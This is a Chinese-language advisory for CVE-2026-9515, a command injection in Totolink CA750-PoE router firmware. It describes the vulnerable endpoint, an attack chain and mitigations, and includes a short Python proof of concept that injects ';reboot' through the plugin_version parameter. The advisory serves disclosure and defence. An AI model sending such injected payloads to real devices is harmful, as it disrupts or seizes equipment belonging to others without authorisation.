CVE-2026-9515 CVSS 6.3 中危

CVE-2026-9515: Totolink CA750-PoE 命令注入漏洞

披露日期: 2026-05-26

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-9515

漏洞类型

操作系统命令注入

CVSS评分

6.3 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

Totolink CA750-PoE

漏洞概述

Totolink CA750-PoE 6.2c.510版本存在OS命令注入漏洞。攻击者可利用/cgi-bin/cstecgi.cgi中setUnloadUserData函数的plugin_version参数漏洞，经网络远程注入恶意命令，导致设备被控制。

技术细节

该漏洞位于Totolink CA750-PoE固件v6.2c.510的Web管理界面组件中。受影响文件为/cgi-bin/cstecgi.cgi，漏洞函数为setUnloadUserData。由于未对plugin_version参数进行充分的过滤和净化，攻击者可构造包含Shell元字符的恶意Payload。当后端处理该请求时，会将参数拼接到系统命令中执行，从而允许攻击者在目标系统上远程执行任意操作系统命令。

攻击链分析

STEP 1

侦察

攻击者识别互联网上暴露的Totolink CA750-PoE设备。

STEP 2

漏洞利用

攻击者向/cgi-bin/cstecgi.cgi发送特制的POST请求，在plugin_version参数中注入恶意命令。

STEP 3

命令执行

服务器端未过滤输入，将恶意参数拼接到系统命令中执行，攻击者获得设备控制权。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

url = "http://TARGET_IP/cgi-bin/cstecgi.cgi"
headers = {"Content-Type": "application/json"}
# Example payload to execute 'reboot' command via command injection
data = {
    "topicurl": "setUnloadUserData",
    "plugin_version": ";reboot"
}

try:
    response = requests.post(url, json=data, headers=headers, timeout=5)
    print(f"Status Code: {response.status_code}")
    print(f"Response: {response.text}")
except Exception as e:
    print(f"Error: {e}")

影响范围

Totolink CA750-PoE 6.2c.510

防御指南

临时缓解措施

建议立即检查设备固件版本并升级至最新版。如暂无法升级，请关闭设备的远程Web管理功能，仅通过局域网访问，并设置强密码保护管理界面。

参考链接

1 CVE https://www.cve.org/CVERecord?id=CVE-2026-9515
2 NVD https://nvd.nist.gov/vuln/detail/CVE-2026-9515
3 Details https://www.cvedetails.com/cve/CVE-2026-9515/
4 VulDB https://vuldb.com/cve/CVE-2026-9515
5 Link https://github.com/wudipjq/my_vuln/blob/main/totolink4/vuln_53/53.md
6 Link https://vuldb.com/submit/813927
7 Link https://vuldb.com/vuln/365515
8 Link https://vuldb.com/vuln/365515/cti
9 Link https://www.totolink.net/

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表